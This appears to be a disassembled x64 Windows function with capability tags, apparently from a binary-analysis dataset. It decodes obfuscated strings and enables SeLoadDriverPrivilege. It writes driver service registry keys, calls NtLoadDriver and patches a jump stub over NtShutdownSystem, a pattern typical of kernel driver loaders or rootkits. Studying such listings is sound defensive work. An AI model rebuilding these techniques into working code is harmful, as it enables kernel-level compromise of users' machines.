Function at 0x1403da4a0
Capabilities:
Access peb ldr_data
Get system information on windows
Install driver
Make suspicious ntquerysysteminformation call
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x510
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140486010]
xor rax, rsp
mov qword [rbp + 0x4a0], rax
mov r12d, edx
xor r13d, r13d
mov r15, qword [0x140490d20]
mov r14d, 4
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
movabs rbx, 0x1014adebb08fbab0
lea edi, [r13 + 1]
mov eax, dword [r14 + rsi]
cmp dword [0x140490dd8], eax
jle 0x1403da6f0
lea rcx, [0x140490dd8]
call fcn.1404267c8
cmp dword [0x140490dd8], 0xffffffff
jne 0x1403da6f0
movabs rax, 0xcea3a5fedebea983
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], rbx
movabs rax, 0xa2cdd795add1dded
mov qword [rbp + 0x230], rax
movabs rax, 0x1014adebd5f7df9e
mov qword [rbp + 0x238], rax
movups xmm0, xmmword [rbp + 0x230]
movdqa xmm1, xmmword [rbp + 0x210]
pxor xmm1, xmm0
movdqa xmmword [rbp + 0x430], xmm1
mov ebx, r13d
mov dword [rbp + 0x1d0], r13d
xor r8d, r8d
xor edx, edx
jmp 0x1403da5cb
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x1d0]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8d, dword [rbp + 0x1d0]
mov rdx, rax
lea r9, [rbp + 0x1d0]
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x1403da595
test eax, eax
jns 0x1403da5fe
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1403da6e4
mov r14d, r13d
cmp dword [rbx], r13d
jbe 0x1403da6cd
mov eax, r14d
imul rcx, rax, 0x128
movzx edx, word [rcx + rbx + 0x2e]
add rdx, 0x30
add rdx, rcx
add rdx, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e8], xmm0
mov qword [rbp + 0x1f8], r13
mov qword [rbp + 0x200], r13
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r13b
jne 0x1403da63f
lea rcx, [rbp + 0x1e8]
call fcn.1403dda00
lea rcx, [rbp + 0x1e8]
cmp qword [rbp + 0x200], 0x10
cmovae rcx, qword [rbp + 0x1e8]
lea rdx, [rbp + 0x430]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1403daa18
mov rdx, qword [rbp + 0x200]
cmp rdx, 0x10
jb 0x1403da6c1
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1403da6bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403daa65
call fcn.140426914
add r14d, edi
cmp r14d, dword [rbx]
jb 0x1403da60a
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r14d, 4
lea rcx, [0x140490dd8]
call fcn.140426768
mov eax, dword [r14 + rsi]
cmp dword [0x140490e00], eax
jle 0x1403da729
lea rcx, [0x140490e00]
call fcn.1404267c8
cmp dword [0x140490e00], 0xffffffff
jne 0x1403da729
call fcn.1403d6a40
mov qword [0x140490e28], rax
lea rcx, [0x140490e00]
call fcn.140426768
mov eax, dword [r14 + rsi]
cmp dword [0x140490ddc], eax
jle 0x1403da762
lea rcx, [0x140490ddc]
call fcn.1404267c8
cmp dword [0x140490ddc], 0xffffffff
jne 0x1403da762
call fcn.1403d6e38
mov qword [0x140490e08], rax
lea rcx, [0x140490ddc]
call fcn.140426768
cmp qword [0x140490e28], r13
je 0x1403db6e3
cmp qword [0x140490e08], r13
je 0x1403db6e3
lea rcx, [rbp + 0x1e0]
call fcn.14042321c
lea rbx, [r15 + r12]
cmp r15, rbx
jae 0x1403dab1b
mov r14, qword [0x140490e08]
mov r12d, 4
mov eax, dword [r12 + rsi]
cmp dword [0x140486f54], eax
jle 0x1403da7f3
lea rcx, [0x140486f54]
call fcn.1404267c8
cmp dword [0x140486f54], 0xffffffff
jne 0x1403da7f3
lea rcx, [0x14042af30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140487018], rax
lea rcx, [0x140486f54]
call fcn.140426768
mov eax, dword [r12 + rsi]
cmp dword [0x140487008], eax
jle 0x1403da83e
lea rcx, [0x140487008]
call fcn.1404267c8
cmp dword [0x140487008], 0xffffffff
jne 0x1403da83e
mov edx, 2
lea rcx, [0x140486f60]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x140429a84]
call fcn.140426b54
lea rcx, [0x140487008]
call fcn.140426768
lea rcx, [0x140486f60]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x1403dab12
mov dword [rbp + 8], 0x25ff
mov word [rbp + 0xc], r13w
mov qword [rbp + 0xe], r14
mov rcx, qword [0x140486fb8]
lea r14d, [rax + 0xe]
mov r8d, r14d
lea rdx, [rbp + 0x140]
call fcn.1403d8644
mov rcx, qword [0x140486fb8]
mov r8d, r14d
lea rdx, [rbp + 8]
call fcn.1403d87d0
mov rax, qword [0x140487018]
mov rcx, r15
call rax
mov r12, rax
mov rcx, qword [0x140486fb8]
mov r8d, r14d
lea rdx, [rbp + 0x140]
call fcn.1403d87d0
lea rcx, [0x140486f60]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r14, qword [0x140490e28]
mov eax, 4
mov eax, dword [rax + rsi]
cmp dword [0x140486f54], eax
jle 0x1403da91e
lea rcx, [0x140486f54]
call fcn.1404267c8
cmp dword [0x140486f54], 0xffffffff
jne 0x1403da91e
lea rcx, [0x14042af30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140487018], rax
lea rcx, [0x140486f54]
call fcn.140426768
mov eax, 4
mov eax, dword [rax + rsi]
cmp dword [0x140487008], eax
jle 0x1403da96d
lea rcx, [0x140487008]
call fcn.1404267c8
cmp dword [0x140487008], 0xffffffff
jne 0x1403da96d
mov edx, 2
lea rcx, [0x140486f60]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x140429a84]
call fcn.140426b54
lea rcx, [0x140487008]
call fcn.140426768
lea rcx, [0x140486f60]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x1403dab09
mov dword [rbp + 0x18], 0x25ff
mov word [rbp + 0x1c], r13w
mov qword [rbp + 0x1e], r14
mov rcx, qword [0x140486fb8]
lea r14d, [rax + 0xe]
mov r8d, r14d
lea rdx, [rbp + 0x210]
call fcn.1403d8644
mov rcx, qword [0x140486fb8]
mov r8d, r14d
lea rdx, [rbp + 0x18]
call fcn.1403d87d0
mov rax, qword [0x140487018]
mov rcx, r15
call rax
mov r14, rax
mov rcx, qword [0x140486fb8]
mov r8d, 0xe
lea rdx, [rbp + 0x210]
call fcn.1403d87d0
lea rcx, [0x140486f60]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, r12
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x1e0]
call fcn.1404238b4
test al, al
jne 0x1403daa76
xor eax, eax
jmp 0x1403daa7d
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x200]
cmp rdx, 0x10
jb 0x1403da6de
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1403daa6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1403daa6c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140426914
jmp 0x1403da6de
mov rax, qword [rbp + 0x268]
mov qword [rbp + 0x1d8], rax
mov r9d, 8
mov r8, r14
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x1e0]
call fcn.1404238b4
test al, al
jne 0x1403daaa8
xor eax, eax
jmp 0x1403daaaf
mov rax, qword [rbp + 0x208]
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x1d8]
shr rax, 7
test rdi, rax
cmovne r14, r12
lea r8, [rbp + 0x248]
lea rcx, [rbp + 0x1d8]
cmovne r8, rcx
mov r9d, 8
mov rdx, r14
lea rcx, [rbp + 0x1e0]
call fcn.140423f14
mov r12d, 0x1000
add r15, r12
cmp r15, rbx
jb 0x1403da795
mov r14d, 4
jmp 0x1403dab21
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov r12d, 0x1000
movabs rax, 0xcea3a5fedebea983
mov qword [rbp + 0x440], rax
movabs rax, 0x1014adebb08fbab0
mov qword [rbp + 0x448], rax
movabs rax, 0xaa8d97cdacdbdaf6
mov qword [rbp + 0x250], rax
movabs rax, 0x1014adebb08fd6dc
mov qword [rbp + 0x258], rax
movups xmm0, xmmword [rbp + 0x250]
pxor xmm0, xmmword [rbp + 0x440]
movdqa xmmword [rbp + 0x440], xmm0
lea rcx, [rbp + 0x440]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], rax
lea r9, [rbp + 2]
lea r8, [0x1404316b0]
lea rdx, [0x14042b060]
lea rcx, [rbp + 0x250]
call fcn.1403dd774
nop
mov eax, dword [r14 + rsi]
cmp dword [0x140487024], eax
jle 0x1403dabe8
lea rcx, [0x140487024]
call fcn.1404267c8
cmp dword [0x140487024], 0xffffffff
jne 0x1403dabe8
lea rcx, [0x140487024]
call fcn.140426768
mov r14d, 0x10
mov r8d, r14d
lea rdx, [rbp + 0x210]
lea rcx, [0x140487000]
call fcn.1403d7d98
nop
lea rcx, [rbp + 0x190]
call fcn.1403d64a8
nop
lea r8, [rbp + 3]
lea rdx, [rbp + 0xe0]
mov rcx, rax
call fcn.1403dd128
nop
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0xe0]
call fcn.1403dc8f4
mov rdx, rax
lea rcx, [rbp + 0x2b8]
call fcn.1403dc984
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, r14
jb 0x1403dac88
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, r12
jb 0x1403dac83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1403dac83
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140426914
movdqa xmm0, xmmword [0x14047d720]
movdqu xmmword [rbp + 0xf0], xmm0
mov byte [rbp + 0xe0], r13b
lea rcx, [rbp + 0x190]
call fcn.1403dc790
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x320]
call main
lea rcx, [rbp + 0x2b8]
call fcn.1403d66f0
mov dword [rsp + 0x20], edi
mov r15d, 0x40
mov r9d, r15d
lea r8d, [r15 - 0x20]
mov rdx, rax
lea rcx, [rbp + 0x320]
call fcn.1403db8cc
nop
mov r8, qword [rbp + 0x258]
mov rdx, qword [rbp + 0x250]
sub r8, rdx
lea rcx, [rbp + 0x320]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x320]
call fcn.1403db83c
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x150]
call fcn.1403dc7f4
mov qword [rbp + 0x1d8], r13
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x1d8]
lea edx, [r15 - 0x18]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1403dad53
mov bl, dil
jmp 0x1403dadd1
mov qword [rbp + 0x240], r13
lea rcx, [rbp + 0x150]
call fcn.1403dcf48
lea r8, [rbp + 0x240]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1403dad4e
mov dword [rbp + 0x230], edi
mov rax, qword [rbp + 0x240]
mov qword [rbp + 0x234], rax
mov dword [rbp + 0x23c], 2
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
mov r9d, r14d
lea r8, [rbp + 0x230]
xor edx, edx
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1403dad4e
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, r13b
lea rcx, [rbp + 0x150]
call fcn.1403dc790
test bl, bl
je 0x1403dadf3
mov bl, r13b
movabs rsi, 0x1014adebb08fbab0
jmp 0x1403db3e8
xor r8d, r8d
lea rdx, [rbp + 0x2b8]
lea rcx, [rbp + 0x1b0]
call fcn.1403dd55c
nop
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.1403d63e0
nop
lea r8, [rbp + 1]
lea rdx, [rbp + 0xc0]
mov rcx, rax
call fcn.1403dd128
nop
lea r8, [rbp + 0xc0]
lea rdx, [0x14042aecc]
lea rcx, [rbp + 0x100]
call fcn.1403dd444
mov rsi, rax
movabs rax, 0xcea3a5fedebea983
mov qword [rbp + 0x460], rax
movabs rax, 0x1014adebb08fbab0
mov qword [rbp + 0x468], rax
movabs rax, 0x96ac8d4cc7d031c5
mov qword [rbp + 0x470], rax
movabs rax, 0x9b9b9d19c7519ba
mov qword [rbp + 0x478], rax
movabs rax, 0xdc292a72838d07f7
mov qword [rbp + 0x480], rax
movabs rcx, 0xcb62650f3c57b454
mov qword [rbp + 0x488], rcx
movabs rax, 0x8dffc89baacdd0d0
mov qword [rbp + 0x30], rax
movabs rax, 0x7f57d985d5fdc8c5
mov qword [rbp + 0x38], rax
movabs rax, 0xe2c9de20a8a245ab
mov qword [rbp + 0x40], rax
movabs rax, 0x6cdad0a7ee104ae6
mov qword [rbp + 0x48], rax
movabs rax, 0xdc292a72838d5b84
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rcx
movups xmm0, xmmword [rbp + 0x30]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rbp + 0x40]
movups xmmword [rbp + 0x90], xmm1
movups xmm2, xmmword [rbp + 0x50]
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x460]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqa xmm0, xmmword [rbp + 0x480]
vpxor xmm0, xmm0, xmm2
vmovdqa xmmword [rbp + 0xa0], xmm0
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x1e8]
vzeroupper
call fcn.1403dc9b4
nop
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x1e8]
call fcn.1403dc8f4
lea rcx, [rbp + 0x1e8]
call fcn.1403d66f0
lea r8, [rbp + 0x1d0]
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x1403dafd6
mov rdx, qword [rbp + 0x200]
cmp rdx, r14
jb 0x1403dafce
inc rdx
mov rcx, qword [rbp + 0x1e8]
cmp rdx, r12
mov rax, rcx
jb 0x1403dafc9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403db0fe
call fcn.140426914
mov bl, r13b
jmp 0x1403db10a
mov byte [rbp + 0x1e3], dil
mov ebx, 4
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1e3]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1403daf92
mov byte [rbp + 0x1e2], 3
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1e2]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1403daf92
mov byte [rbp + 0x1e1], 3
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1e1]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1403daf92
mov rbx, qword [rsi + 0x10]
mov rcx, rsi
call fcn.1403d66f0
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, edi
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1403daf92
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x200]
cmp rdx, r14
jb 0x1403db10a
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, r12
jb 0x1403db105
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1403db105
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140426914
movdqa xmm0, xmmword [0x14047d720]
mov byte [rbp + 0x1e8], r13b
movdqu xmmword [rbp + 0x1f8], xmm0
mov rdx, qword [rbp + 0x118]
cmp rdx, r14
jb 0x1403db160
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, r12
jb 0x1403db15b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1403db15b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140426914
movdqa xmm0, xmmword [0x14047d720]
movdqu xmmword [rbp + 0x110], xmm0
mov byte [rbp + 0x100], r13b
mov rdx, qword [rbp + 0xd8]
cmp rdx, r14
jb 0x1403db1b6
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, r12
jb 0x1403db1b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1403db1b1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140426914
movdqa xmm0, xmmword [0x14047d720]
movdqu xmmword [rbp + 0xd0], xmm0
mov byte [rbp + 0xc0], r13b
lea rcx, [rbp + 0x170]
call fcn.1403dc790
nop
lea rcx, [rbp + 0x1b0]
call fcn.1403dc790
movabs rsi, 0x1014adebb08fbab0
test bl, bl
jne 0x1403db1fc
mov bl, r13b
jmp 0x1403db3e8
movabs rax, 0xcea3a5fedebea983
mov qword [rbp + 0x460], rax
mov qword [rbp + 0x468], rsi
movabs rax, 0x96ac8d4cc7d031c5
mov qword [rbp + 0x470], rax
movabs rax, 0x9b9b9d19c7519ba
mov qword [rbp + 0x478], rax
movabs rax, 0xdc292a72838d07f7
mov qword [rbp + 0x480], rax
movabs rax, 0xcb62650f3c57b454
mov qword [rbp + 0x488], rax
movabs rax, 0x6af7f9d008cf69d9
mov qword [rbp + 0x490], rax
movabs rcx, 0x808fdb458327067e
mov qword [rbp + 0x498], rcx
movabs rax, 0xbcd7d697b9dbfbdf
mov qword [rbp + 0x30], rax
movabs rax, 0x7e7dc588d1c2e6c9
mov qword [rbp + 0x38], rax
movabs rax, 0xfbc9f93fbe836da0
mov qword [rbp + 0x40], rax
movabs rax, 0x7dd7dca3ee005ae6
mov qword [rbp + 0x48], rax
movabs rax, 0x8f454500f7e368b4
mov qword [rbp + 0x50], rax
movabs rax, 0xa214176a6f0bc031
mov qword [rbp + 0x58], rax
movabs rax, 0x6af7f9d054bc0cba
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rcx
mov r8, r15
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x80]
call sub.VCRUNTIME140.dll_memcpy
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x460]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x480]
vmovdqa ymmword [rbp + 0xa0], ymm1
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x298]
vzeroupper
call fcn.1403dc9b4
nop
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x298]
call fcn.1403dc8f4
lea rcx, [rbp + 0x298]
call fcn.1403d66f0
mov rdx, rax
lea rcx, [rbp + 0x2d8]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, dil
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x2e8]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x2e8]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x2b0]
cmp rdx, r14
jb 0x1403db3d1
inc rdx
mov rcx, qword [rbp + 0x298]
mov rax, rcx
cmp rdx, r12
jb 0x1403db3cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1403db3cc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140426914
movdqa xmm0, xmmword [0x14047d720]
movdqu xmmword [rbp + 0x2a8], xmm0
mov byte [rbp + 0x298], r13b
mov byte [rbp], bl
lea r9, [rbp + 0x210]
lea r8, [rbp]
mov dl, byte [rbp + 1]
lea rcx, [rbp + 0x2f8]
call fcn.1403de06c
nop
lea rcx, [rbp + 0x3c8]
call fcn.1403db870
lea rcx, [rbp + 0x3c8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x2d0]
cmp rdx, r14
jb 0x1403db45f
inc rdx
mov rcx, qword [rbp + 0x2b8]
mov rax, rcx
cmp rdx, r12
jb 0x1403db45a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1403db45a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140426914
movdqa xmm0, xmmword [0x14047d720]
movdqu xmmword [rbp + 0x2c8], xmm0
mov byte [rbp + 0x2b8], r13b
mov rdx, qword [rbp + 0x228]
cmp rdx, r14
jb 0x1403db4b5
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, r12
jb 0x1403db4b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1403db4b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140426914
movdqa xmm0, xmmword [0x14047d720]
movdqu xmmword [rbp + 0x220], xmm0
mov byte [rbp + 0x210], r13b
lea rcx, [rbp + 0x250]
call fcn.1403dc548
nop
cmp byte [rbp + 0x318], r13b
jne 0x1403db553
lea rcx, [rbp + 0x30]
call fcn.1403dcafc
nop
mov qword [rbp + 0x270], r13
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x278]
call fcn.1403dc9e8
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, r14
jb 0x1403db53d
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, r12
jb 0x1403db538
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1403db538
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140426914
movdqa xmm0, xmmword [0x14047d720]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], r13b
jmp 0x1403db5e9
movabs rax, 0xcea3a5fedebea983
mov qword [rbp + 0x430], rax
mov qword [rbp + 0x438], rsi
movabs rax, 0xceececb98290f5df
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rsi
movups xmm0, xmmword [rbp + 0x120]
pxor xmm0, xmmword [rbp + 0x430]
movdqa xmmword [rbp + 0x430], xmm0
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rbp + 0x430]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x140486fb0], rax
mov qword [rbp + 0x270], rax
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp + 0x278]
call fcn.1403dc9e8
nop
lea rcx, [rbp + 0x2f8]
call fcn.1403d5be4
nop
cmp qword [rbp + 0x270], r13
je 0x1403db695
cmp qword [rbp + 0x288], r13
je 0x1403db695
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 0x120]
call fcn.1403dc9e8
mov rbx, rax
mov qword [rbp + 0x208], rax
mov rcx, qword [rbp + 0x270]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1403db64d
mov rcx, rbx
call fcn.1403d7f64
test al, al
mov sil, dil
jne 0x1403db650
mov sil, r13b
mov rdx, qword [rbx + 0x18]
cmp rdx, r14
jb 0x1403db681
mov rcx, qword [rbx]
inc rdx
cmp rdx, r12
jb 0x1403db67c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1403db6d2
mov rcx, r8
call fcn.140426914
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r13b
test sil, sil
jne 0x1403db698
mov dil, r13b
mov rdx, qword [rbp + 0x290]
cmp rdx, r14
jb 0x1403db6de
inc rdx
mov rcx, qword [rbp + 0x278]
mov rax, rcx
cmp rdx, r12
jb 0x1403db6d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1403db6d9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140426914
mov al, dil
jmp 0x1403db6e5
xor al, al
mov rcx, qword [rbp + 0x4a0]
xor rcx, rsp
call fcn.140426620
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret